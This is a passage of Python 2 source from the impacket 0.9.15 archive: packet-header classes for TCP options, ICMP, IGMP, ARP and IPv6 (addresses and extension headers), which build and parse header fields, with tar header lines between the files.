if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
raise ImpactPacketException, "Can only set timestamp on TCPOPT_TIMESTAMP option"
self.set_long(6, ts)
def __str__(self):
map = { TCPOption.TCPOPT_EOL : "End of List ",
TCPOption.TCPOPT_NOP : "No Operation ",
TCPOption.TCPOPT_MAXSEG : "Maximum Segment Size ",
TCPOption.TCPOPT_WINDOW : "Window Scale ",
TCPOption.TCPOPT_TIMESTAMP : "Timestamp " }
tmp_str = "\tTCP Option: "
op = self.get_kind()
if map.has_key(op):
tmp_str += map[op]
else:
tmp_str += " kind: %d " % op
if op == TCPOption.TCPOPT_MAXSEG:
tmp_str += " MSS : %d " % self.get_mss()
elif op == TCPOption.TCPOPT_WINDOW:
tmp_str += " Shift Count: %d " % self.get_shift_cnt()
elif op == TCPOption.TCPOPT_TIMESTAMP:
pass # TODO
return tmp_str
class ICMP(Header):
protocol = 1
ICMP_ECHOREPLY = 0
ICMP_UNREACH = 3
ICMP_UNREACH_NET = 0
ICMP_UNREACH_HOST = 1
ICMP_UNREACH_PROTOCOL = 2
ICMP_UNREACH_PORT = 3
ICMP_UNREACH_NEEDFRAG = 4
ICMP_UNREACH_SRCFAIL = 5
ICMP_UNREACH_NET_UNKNOWN = 6
ICMP_UNREACH_HOST_UNKNOWN = 7
ICMP_UNREACH_ISOLATED = 8
ICMP_UNREACH_NET_PROHIB = 9
ICMP_UNREACH_HOST_PROHIB = 10
ICMP_UNREACH_TOSNET = 11
ICMP_UNREACH_TOSHOST = 12
ICMP_UNREACH_FILTERPROHIB = 13
ICMP_UNREACH_HOST_PRECEDENCE = 14
ICMP_UNREACH_PRECEDENCE_CUTOFF = 15
ICMP_SOURCEQUENCH = 4
ICMP_REDIRECT = 5
ICMP_REDIRECT_NET = 0
ICMP_REDIRECT_HOST = 1
ICMP_REDIRECT_TOSNET = 2
ICMP_REDIRECT_TOSHOST = 3
ICMP_ALTHOSTADDR = 6
ICMP_ECHO = 8
ICMP_ROUTERADVERT = 9
ICMP_ROUTERSOLICIT = 10
ICMP_TIMXCEED = 11
ICMP_TIMXCEED_INTRANS = 0
ICMP_TIMXCEED_REASS = 1
ICMP_PARAMPROB = 12
ICMP_PARAMPROB_ERRATPTR = 0
ICMP_PARAMPROB_OPTABSENT = 1
ICMP_PARAMPROB_LENGTH = 2
ICMP_TSTAMP = 13
ICMP_TSTAMPREPLY = 14
ICMP_IREQ = 15
ICMP_IREQREPLY = 16
ICMP_MASKREQ = 17
ICMP_MASKREPLY = 18
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if aBuffer:
self.load_header(aBuffer)
def get_header_size(self):
anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 }
if anamolies.has_key(self.get_icmp_type()):
return anamolies[self.get_icmp_type()]
else:
return 8
def get_icmp_type(self):
return self.get_byte(0)
def set_icmp_type(self, aValue):
self.set_byte(0, aValue)
def get_icmp_code(self):
return self.get_byte(1)
def set_icmp_code(self, aValue):
self.set_byte(1, aValue)
def get_icmp_cksum(self):
return self.get_word(2)
def set_icmp_cksum(self, aValue):
self.set_word(2, aValue)
self.auto_checksum = 0
def get_icmp_gwaddr(self):
return self.get_ip_address(4)
def set_icmp_gwaddr(self, ip):
self.set_ip_address(4, ip)
def get_icmp_id(self):
return self.get_word(4)
def set_icmp_id(self, aValue):
self.set_word(4, aValue)
def get_icmp_seq(self):
return self.get_word(6)
def set_icmp_seq(self, aValue):
self.set_word(6, aValue)
def get_icmp_void(self):
return self.get_long(4)
def set_icmp_void(self, aValue):
self.set_long(4, aValue)
def get_icmp_nextmtu(self):
return self.get_word(6)
def set_icmp_nextmtu(self, aValue):
self.set_word(6, aValue)
def get_icmp_num_addrs(self):
return self.get_byte(4)
def set_icmp_num_addrs(self, aValue):
self.set_byte(4, aValue)
def get_icmp_wpa(self):
return self.get_byte(5)
def set_icmp_wpa(self, aValue):
self.set_byte(5, aValue)
def get_icmp_lifetime(self):
return self.get_word(6)
def set_icmp_lifetime(self, aValue):
self.set_word(6, aValue)
def get_icmp_otime(self):
return self.get_long(8)
def set_icmp_otime(self, aValue):
self.set_long(8, aValue)
def get_icmp_rtime(self):
return self.get_long(12)
def set_icmp_rtime(self, aValue):
self.set_long(12, aValue)
def get_icmp_ttime(self):
return self.get_long(16)
def set_icmp_ttime(self, aValue):
self.set_long(16, aValue)
def get_icmp_mask(self):
return self.get_ip_address(8)
def set_icmp_mask(self, mask):
self.set_ip_address(8, mask)
def calculate_checksum(self):
if self.auto_checksum and (not self.get_icmp_cksum()):
buffer = self.get_buffer_as_string()
data = self.get_data_as_string()
if data:
buffer += data
tmp_array = array.array('B', buffer)
self.set_icmp_cksum(self.compute_checksum(tmp_array))
def get_type_name(self, aType):
tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'}
answer = tmp_type.get(aType, 'UNKNOWN')
return answer
def get_code_name(self, aType, aCode):
tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']}
tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST']
tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON']
tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS']
tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH']
tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED']
if tmp_code.has_key(aType):
tmp_list = tmp_code[aType]
if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]):
return 'UNKNOWN'
else:
return tmp_list[aCode]
else:
return 'UNKNOWN'
def __str__(self):
tmp_type = self.get_icmp_type()
tmp_code = self.get_icmp_code()
tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type)
tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code)
if self.child():
tmp_str += '\n' + str( self.child() )
return tmp_str
def isDestinationUnreachable(self):
return self.get_icmp_type() == 3
def isError(self):
return not self.isQuery()
def isHostUnreachable(self):
return self.isDestinationUnreachable() and (self.get_icmp_code() == 1)
def isNetUnreachable(self):
return self.isDestinationUnreachable() and (self.get_icmp_code() == 0)
def isPortUnreachable(self):
return self.isDestinationUnreachable() and (self.get_icmp_code() == 3)
def isProtocolUnreachable(self):
return self.isDestinationUnreachable() and (self.get_icmp_code() == 2)
def isQuery(self):
tmp_dict = {8:'', 9:'', 10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''}
return tmp_dict.has_key(self.get_icmp_type())
class IGMP(Header):
protocol = 2
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if aBuffer:
self.load_header(aBuffer)
def get_igmp_type(self):
return self.get_byte(0)
def set_igmp_type(self, aValue):
self.set_byte(0, aValue)
def get_igmp_code(self):
return self.get_byte(1)
def set_igmp_code(self, aValue):
self.set_byte(1, aValue)
def get_igmp_cksum(self):
return self.get_word(2)
def set_igmp_cksum(self, aValue):
self.set_word(2, aValue)
def get_igmp_group(self):
return self.get_long(4)
def set_igmp_group(self, aValue):
self.set_long(4, aValue)
def get_header_size(self):
return 8
def get_type_name(self, aType):
tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '}
answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ')
return answer
def calculate_checksum(self):
if self.auto_checksum and (not self.get_igmp_cksum()):
self.set_igmp_cksum(self.compute_checksum(self.get_bytes()))
def __str__(self):
tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type())
tmp_str += 'Group: ' + socket.inet_ntoa(struct.pack('!L',self.get_igmp_group()))
if self.child():
tmp_str += '\n' + str(self.child())
return tmp_str
class ARP(Header):
ethertype = 0x806
def __init__(self, aBuffer = None):
Header.__init__(self, 7)
if aBuffer:
self.load_header(aBuffer)
def get_ar_hrd(self):
return self.get_word(0)
def set_ar_hrd(self, aValue):
self.set_word(0, aValue)
def get_ar_pro(self):
return self.get_word(2)
def set_ar_pro(self, aValue):
self.set_word(2, aValue)
def get_ar_hln(self):
return self.get_byte(4)
def set_ar_hln(self, aValue):
self.set_byte(4, aValue)
def get_ar_pln(self):
return self.get_byte(5)
def set_ar_pln(self, aValue):
self.set_byte(5, aValue)
def get_ar_op(self):
return self.get_word(6)
def set_ar_op(self, aValue):
self.set_word(6, aValue)
def get_ar_sha(self):
tmp_size = self.get_ar_hln()
return self.get_bytes().tolist()[8: 8 + tmp_size]
def set_ar_sha(self, aValue):
for i in range(0, self.get_ar_hln()):
self.set_byte(i + 8, aValue[i])
def get_ar_spa(self):
tmp_size = self.get_ar_pln()
return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size]
def set_ar_spa(self, aValue):
for i in range(0, self.get_ar_pln()):
self.set_byte(i + 8 + self.get_ar_hln(), aValue[i])
def get_ar_tha(self):
tmp_size = self.get_ar_hln()
tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln()
return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size]
def set_ar_tha(self, aValue):
tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln()
for i in range(0, self.get_ar_hln()):
self.set_byte(i + tmp_from, aValue[i])
def get_ar_tpa(self):
tmp_size = self.get_ar_pln()
tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln()
return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size]
def set_ar_tpa(self, aValue):
tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln()
for i in range(0, self.get_ar_pln()):
self.set_byte(i + tmp_from, aValue[i])
def get_header_size(self):
return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln())
def get_op_name(self, ar_op):
tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'}
answer = tmp_dict.get(ar_op, 'UNKNOWN')
return answer
def get_hrd_name(self, ar_hrd):
tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'}
answer = tmp_dict.get(ar_hrd, 'UNKNOWN')
return answer
def as_hrd(self, anArray):
if not anArray:
return ''
tmp_str = '%x' % anArray[0]
for i in range(1, len(anArray)):
tmp_str += ':%x' % anArray[i]
return tmp_str
def as_pro(self, anArray):
if not anArray:
return ''
tmp_str = '%d' % anArray[0]
for i in range(1, len(anArray)):
tmp_str += '.%d' % anArray[i]
return tmp_str
def __str__(self):
tmp_op = self.get_ar_op()
tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' '
tmp_str += 'opcode: ' + self.get_op_name(tmp_op)
tmp_str += '\n' + self.as_hrd(self.get_ar_sha()) + ' -> '
tmp_str += self.as_hrd(self.get_ar_tha())
tmp_str += '\n' + self.as_pro(self.get_ar_spa()) + ' -> '
tmp_str += self.as_pro(self.get_ar_tpa())
if self.child():
tmp_str += '\n' + str(self.child())
return tmp_str
def example(): #To execute an example, remove this line
a = Ethernet()
b = ARP()
c = Data('Hola loco!!!')
b.set_ar_hln(6)
b.set_ar_pln(4)
#a.set_ip_dst('192.168.22.6')
#a.set_ip_src('1.1.1.2')
a.contains(b)
b.contains(c)
b.set_ar_op(2)
b.set_ar_hrd(1)
b.set_ar_spa((192, 168, 22, 6))
b.set_ar_tpa((192, 168, 66, 171))
a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d))
a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe))
print "beto %s" % a
impacket-0.9.15/impacket/IP6.py 0000600 0000765 0000000 00000013507 12734531507 016224 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import struct
import array
from ImpactPacket import Header
from IP6_Address import IP6_Address
from IP6_Extension_Headers import IP6_Extension_Header
class IP6(Header):
#Ethertype value for IPv6
ethertype = 0x86DD
HEADER_SIZE = 40
IP_PROTOCOL_VERSION = 6
def __init__(self, buffer = None):
Header.__init__(self, IP6.HEADER_SIZE)
self.set_protocol_version(IP6.IP_PROTOCOL_VERSION)
if (buffer):
self.load_header(buffer)
def contains(self, aHeader):
Header.contains(self, aHeader)
if isinstance(aHeader, IP6_Extension_Header):
self.set_next_header(aHeader.get_header_type())
def get_header_size(self):
return IP6.HEADER_SIZE
def __str__(self):
protocol_version = self.get_protocol_version()
traffic_class = self.get_traffic_class()
flow_label = self.get_flow_label()
payload_length = self.get_payload_length()
next_header = self.get_next_header()
hop_limit = self.get_hop_limit()
source_address = self.get_source_address()
destination_address = self.get_destination_address()
s = "Protocol version: " + str(protocol_version) + "\n"
s += "Traffic class: " + str(traffic_class) + "\n"
s += "Flow label: " + str(flow_label) + "\n"
s += "Payload length: " + str(payload_length) + "\n"
s += "Next header: " + str(next_header) + "\n"
s += "Hop limit: " + str(hop_limit) + "\n"
s += "Source address: " + source_address.as_string() + "\n"
s += "Destination address: " + destination_address.as_string() + "\n"
return s
def get_pseudo_header(self):
source_address = self.get_source_address().as_bytes()
#FIXME - Handle Routing header special case
destination_address = self.get_destination_address().as_bytes()
reserved_bytes = [ 0x00, 0x00, 0x00 ]
upper_layer_packet_length = self.get_payload_length()
upper_layer_protocol_number = self.get_next_header()
next_header = self.child()
while isinstance(next_header, IP6_Extension_Header):
# The length used in the pseudo-header is the Payload Length from the IPv6 header, minus
# the length of any extension headers present between the IPv6 header and the upper-layer header
upper_layer_packet_length -= next_header.get_header_size()
# If there are extension headers, fetch the correct upper-player protocol number by traversing the list
upper_layer_protocol_number = next_header.get_next_header()
next_header = next_header.child()
pseudo_header = array.array('B')
pseudo_header.extend(source_address)
pseudo_header.extend(destination_address)
pseudo_header.fromstring(struct.pack('!L', upper_layer_packet_length))
pseudo_header.fromlist(reserved_bytes)
pseudo_header.fromstring(struct.pack('B', upper_layer_protocol_number))
return pseudo_header
############################################################################
def get_protocol_version(self):
return (self.get_byte(0) & 0xF0) >> 4
def get_traffic_class(self):
return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4)
def get_flow_label(self):
return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3)
def get_payload_length(self):
return (self.get_byte(4) << 8) | self.get_byte(5)
def get_next_header(self):
return (self.get_byte(6))
def get_hop_limit(self):
return (self.get_byte(7))
def get_source_address(self):
address = IP6_Address(self.get_bytes()[8:24])
return (address)
def get_destination_address(self):
address = IP6_Address(self.get_bytes()[24:40])
return (address)
############################################################################
def set_protocol_version(self, version):
if (version != 6):
raise Exception('set_protocol_version - version != 6')
#Fetch byte, clear high nibble
b = self.get_byte(0) & 0x0F
#Store version number in high nibble
b |= (version << 4)
#Store byte in buffer
#This behaviour is repeated in the rest of the methods
self.set_byte(0, b)
def set_traffic_class(self, traffic_class):
b0 = self.get_byte(0) & 0xF0
b1 = self.get_byte(1) & 0x0F
b0 |= (traffic_class & 0xF0) >> 4
b1 |= (traffic_class & 0x0F) << 4
self.set_byte(0, b0)
self.set_byte(1, b1)
def set_flow_label(self, flow_label):
b1 = self.get_byte(1) & 0xF0
b1 |= (flow_label & 0xF0000) >> 16
self.set_byte(1, b1)
self.set_byte(2, (flow_label & 0x0FF00) >> 8)
self.set_byte(3, (flow_label & 0x000FF))
def set_payload_length(self, payload_length):
self.set_byte(4, (payload_length & 0xFF00) >> 8)
self.set_byte(5, (payload_length & 0x00FF))
def set_next_header(self, next_header):
self.set_byte(6, next_header)
def set_hop_limit(self, hop_limit):
self.set_byte(7, hop_limit)
def set_source_address(self, source_address):
address = IP6_Address(source_address)
bytes = self.get_bytes()
bytes[8:24] = address.as_bytes()
self.set_bytes(bytes)
def set_destination_address(self, destination_address):
address = IP6_Address(destination_address)
bytes = self.get_bytes()
bytes[24:40] = address.as_bytes()
self.set_bytes(bytes)
impacket-0.9.15/impacket/IP6_Address.py 0000600 0000765 0000000 00000025371 12734531507 017673 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
class IP6_Address():
ADDRESS_BYTE_SIZE = 16
#A Hex Group is a 16-bit unit of the address
TOTAL_HEX_GROUPS = 8
HEX_GROUP_SIZE = 4 #Size in characters
TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1
ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS
SEPARATOR = ":"
SCOPE_SEPARATOR = "%"
#############################################################################################################
# Constructor and construction helpers
def __init__(self, address):
#The internal representation of an IP6 address is a 16-byte array
self.__bytes = array.array('B', '\0' * self.ADDRESS_BYTE_SIZE)
self.__scope_id = ""
#Invoke a constructor based on the type of the argument
if type(address) is str or type(address) is unicode:
self.__from_string(address)
else:
self.__from_bytes(address)
def __from_string(self, address):
#Separate the Scope ID, if present
if self.__is_a_scoped_address(address):
split_parts = address.split(self.SCOPE_SEPARATOR)
address = split_parts[0]
if (split_parts[1] == ""):
raise Exception("Empty scope ID")
self.__scope_id = split_parts[1]
#Expand address if it's in compressed form
if self.__is_address_in_compressed_form(address):
address = self.__expand_compressed_address(address)
#Insert leading zeroes where needed
address = self.__insert_leading_zeroes(address)
#Sanity check
if len(address) != self.ADDRESS_TEXT_SIZE:
raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE))
#Split address into hex groups
hex_groups = address.split(self.SEPARATOR)
if len(hex_groups) != self.TOTAL_HEX_GROUPS:
raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS))
#For each hex group, convert it into integer words
offset = 0
for group in hex_groups:
if len(group) != self.HEX_GROUP_SIZE:
raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE))
group_as_int = int(group, 16)
self.__bytes[offset] = (group_as_int & 0xFF00) >> 8
self.__bytes[offset + 1] = (group_as_int & 0x00FF)
offset += 2
def __from_bytes(self, bytes):
if len(bytes) != self.ADDRESS_BYTE_SIZE:
raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE))
self.__bytes = bytes
#############################################################################################################
# Projectors
def as_string(self, compress_address = True, scoped_address = True):
s = ""
for i, v in enumerate(self.__bytes):
s += hex(v)[2:].rjust(2, '0')
if (i % 2 == 1):
s += self.SEPARATOR
s = s[:-1].upper()
if (compress_address):
s = self.__trim_leading_zeroes(s)
s = self.__trim_longest_zero_chain(s)
if (scoped_address and self.get_scope_id() != ""):
s += self.SCOPE_SEPARATOR + self.__scope_id
return s
def as_bytes(self):
return self.__bytes
def __str__(self):
return self.as_string()
def get_scope_id(self):
return self.__scope_id
def get_unscoped_address(self):
return self.as_string(True, False) #Compressed address = True, Scoped address = False
#############################################################################################################
# Semantic helpers
def is_multicast(self):
return self.__bytes[0] == 0xFF
def is_unicast(self):
return self.__bytes[0] == 0xFE
def is_link_local_unicast(self):
return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80)
def is_site_local_unicast(self):
return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0)
def is_unique_local_unicast(self):
return (self.__bytes[0] == 0xFD)
def get_human_readable_address_type(self):
if (self.is_multicast()):
return "multicast"
elif (self.is_unicast()):
if (self.is_link_local_unicast()):
return "link-local unicast"
elif (self.is_site_local_unicast()):
return "site-local unicast"
else:
return "unicast"
elif (self.is_unique_local_unicast()):
return "unique-local unicast"
else:
return "unknown type"
#############################################################################################################
#Expansion helpers
#Predicate - returns whether an address is in compressed form
def __is_address_in_compressed_form(self, address):
#Sanity check - triple colon detection (not detected by searches of double colon)
if address.count(self.SEPARATOR * 3) > 0:
raise Exception('IP6_Address - found triple colon')
#Count the double colon marker
compression_marker_count = self.__count_compression_marker(address)
if compression_marker_count == 0:
return False
elif compression_marker_count == 1:
return True
else:
raise Exception('IP6_Address - more than one compression marker (\"::\") found')
#Returns how many hex groups are present, in a compressed address
def __count_compressed_groups(self, address):
trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":"
return trimmed_address.count(self.SEPARATOR) + 1
#Counts how many compression markers are present
def __count_compression_marker(self, address):
return address.count(self.SEPARATOR * 2) #Count occurrences of "::"
#Inserts leading zeroes in every hex group
def __insert_leading_zeroes(self, address):
hex_groups = address.split(self.SEPARATOR)
new_address = ""
for hex_group in hex_groups:
if len(hex_group) < 4:
hex_group = hex_group.rjust(4, "0")
new_address += hex_group + self.SEPARATOR
return new_address[:-1] #Trim the last colon
#Expands a compressed address
def __expand_compressed_address(self, address):
group_count = self.__count_compressed_groups(address)
groups_to_insert = self.TOTAL_HEX_GROUPS - group_count
pos = address.find(self.SEPARATOR * 2) + 1
while (groups_to_insert):
address = address[:pos] + "0000" + self.SEPARATOR + address[pos:]
pos += 5
groups_to_insert -= 1
#Replace the compression marker with a single colon
address = address.replace(self.SEPARATOR * 2, self.SEPARATOR)
return address
#############################################################################################################
#Compression helpers
def __trim_longest_zero_chain(self, address):
chain_size = 8
while (chain_size > 0):
groups = address.split(self.SEPARATOR)
start_index = -1
end_index = -1
for index, group in enumerate(groups):
#Find the first zero
if (group == "0"):
start_index = index
end_index = index
#Find the end of this chain of zeroes
while (end_index < 7 and groups[end_index + 1] == "0"):
end_index += 1
#If the zero chain matches the current size, trim it
found_size = end_index - start_index + 1
if (found_size == chain_size):
address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):])
return address
#No chain of this size found, try with a lower size
chain_size -= 1
return address
#Trims all leading zeroes from every hex group
def __trim_leading_zeroes(self, str):
groups = str.split(self.SEPARATOR)
str = ""
for group in groups:
group = group.lstrip("0") + self.SEPARATOR
if (group == self.SEPARATOR):
group = "0" + self.SEPARATOR
str += group
return str[:-1]
#############################################################################################################
@classmethod
def is_a_valid_text_representation(cls, text_representation):
try:
#Capitalize on the constructor's ability to detect invalid text representations of an IP6 address
ip6_address = IP6_Address(text_representation)
return True
except Exception, e:
return False
def __is_a_scoped_address(self, text_representation):
return text_representation.count(self.SCOPE_SEPARATOR) == 1
#############################################################################################################
# Informal tests
if __name__ == '__main__':
print IP6_Address("A:B:C:D:E:F:1:2").as_string()
# print IP6_Address("A:B:C:D:E:F:0:2").as_bytes()
print IP6_Address("A:B:0:D:E:F:0:2").as_string()
# print IP6_Address("A::BC:E:D").as_string(False)
print IP6_Address("A::BC:E:D").as_string()
print IP6_Address("A::BCD:EFFF:D").as_string()
print IP6_Address("FE80:0000:0000:0000:020C:29FF:FE26:E251").as_string()
# print IP6_Address("A::BCD:EFFF:D").as_bytes()
print IP6_Address("::").as_string()
print IP6_Address("1::").as_string()
print IP6_Address("::2").as_string()
# bin = [
# 0x01, 0x02, 0x03, 0x04,
# 0x01, 0x02, 0x03, 0x04,
# 0x01, 0x02, 0x03, 0x04,
# 0x01, 0x02, 0x03, 0x04]
# a = IP6_Address(bin)
# print a.as_string()
# print a
# Malformed addresses
# print IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345").as_string()
# print IP6_Address(":::").as_string()
# print IP6_Address("::::").as_string()
impacket-0.9.15/impacket/IP6_Extension_Headers.py 0000600 0000765 0000000 00000025210 12734531507 021705 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
from ImpactPacket import Header, ImpactPacketException, PacketBuffer
class IP6_Extension_Header(Header):
# --------------------------------- - - - - - - -
# | Next Header | Header Ext Len | Options
# --------------------------------- - - - - - - -
HEADER_TYPE_VALUE = -1
EXTENSION_HEADER_FIELDS_SIZE = 2
EXTENSION_HEADER_DECODER = None
def __init__(self, buffer = None):
Header.__init__(self, self.get_headers_field_size())
self._option_list = []
if buffer:
self.load_header(buffer)
else:
self.reset()
def __str__(self):
header_type = self.get_header_type()
next_header_value = self.get_next_header()
header_ext_length = self.get_header_extension_length()
s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
s += "Header Type Value: " + str(header_type) + "\n"
s += "Next Header: " + str(next_header_value) + "\n"
s += "Header Extension Length: " + str(header_ext_length) + "\n"
s += "Options:\n"
for option in self._option_list:
option_str = str(option)
option_str = option_str.split('\n')
option_str = map(lambda s: (' ' * 4) + s, option_str)
s += '\n'.join(option_str) + '\n'
return s
def load_header(self, buffer):
self.set_bytes_from_string(buffer[:self.get_headers_field_size()])
remaining_bytes = (self.get_header_extension_length() + 1) * 8
remaining_bytes -= self.get_headers_field_size()
buffer = array.array('B', buffer[self.get_headers_field_size():])
if remaining_bytes > len(buffer):
raise ImpactPacketException, "Cannot load options from truncated packet"
while remaining_bytes > 0:
option_type = buffer[0]
if option_type == Option_PAD1.OPTION_TYPE_VALUE:
# Pad1
self._option_list.append(Option_PAD1())
remaining_bytes -= 1
buffer = buffer[1:]
else:
# PadN
# From RFC 2460: For N octets of padding, the Opt Data Len
# field contains the value N-2, and the Option Data consists
# of N-2 zero-valued octets.
option_length = buffer[1]
option_length += 2
self._option_list.append(Option_PADN(option_length))
remaining_bytes -= option_length
buffer = buffer[option_length:]
def reset(self):
pass
@classmethod
def get_header_type_value(cls):
return cls.HEADER_TYPE_VALUE
@classmethod
def get_extension_headers(cls):
header_types = {}
for subclass in cls.__subclasses__():
subclass_header_types = subclass.get_extension_headers()
if not subclass_header_types:
# If the subclass did not return anything it means
# that it is a leaf subclass, so we take its header
# type value
header_types[subclass.get_header_type_value()] = subclass
else:
# Else we extend the list of the obtained types
header_types.update(subclass_header_types)
return header_types
@classmethod
def get_decoder(cls):
raise RuntimeError("Class method %s.get_decoder must be overridden." % cls)
def get_header_type(self):
return self.__class__.get_header_type_value()
def get_headers_field_size(self):
return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE
def get_header_size(self):
header_size = self.get_headers_field_size()
for option in self._option_list:
header_size += option.get_len()
return header_size
def get_next_header(self):
return self.get_byte(0)
def get_header_extension_length(self):
return self.get_byte(1)
def set_next_header(self, next_header):
self.set_byte(0, next_header & 0xFF)
def set_header_extension_length(self, header_extension_length):
self.set_byte(1, header_extension_length & 0xFF)
def add_option(self, option):
self._option_list.append(option)
def get_options(self):
return self._option_list
def get_packet(self):
data = self.get_data_as_string()
# Update the header length
self.set_header_extension_length(self.get_header_size() / 8 - 1)
# Build the entire extension header packet
header_bytes = self.get_buffer_as_string()
for option in self._option_list:
header_bytes += option.get_buffer_as_string()
if data:
return header_bytes + data
else:
return header_bytes
def contains(self, aHeader):
Header.contains(self, aHeader)
if isinstance(aHeader, IP6_Extension_Header):
self.set_next_header(aHeader.get_header_type())
def get_pseudo_header(self):
# The pseudo-header only contains data from the IPv6 header.
# So we pass the message to the parent until it reaches it.
return self.parent().get_pseudo_header()
class Extension_Option(PacketBuffer):
MAX_OPTION_LEN = 256
OPTION_TYPE_VALUE = -1
def __init__(self, option_type, size):
if size > Extension_Option.MAX_OPTION_LEN:
raise ImpactPacketException, "Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN)
PacketBuffer.__init__(self, size)
self.set_option_type(option_type)
def __str__(self):
option_type = self.get_option_type()
option_length = self.get_option_length()
s = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n"
s += "Option Type: " + str(option_type) + "\n"
s += "Option Length: " + str(option_length) + "\n"
return s
def set_option_type(self, option_type):
self.set_byte(0, option_type)
def get_option_type(self):
return self.get_byte(0)
def set_option_length(self, length):
self.set_byte(1, length)
def get_option_length(self):
return self.get_byte(1)
def set_data(self, data):
self.set_option_length(len(data))
option_bytes = self.get_bytes()
option_bytes = self.get_bytes()
option_bytes[2:2+len(data)] = array.array('B', data)
self.set_bytes(option_bytes)
def get_len(self):
return len(self.get_bytes())
class Option_PAD1(Extension_Option):
OPTION_TYPE_VALUE = 0x00 # Pad1 (RFC 2460)
OPTION_DESCRIPTION = "Pad1 Option"
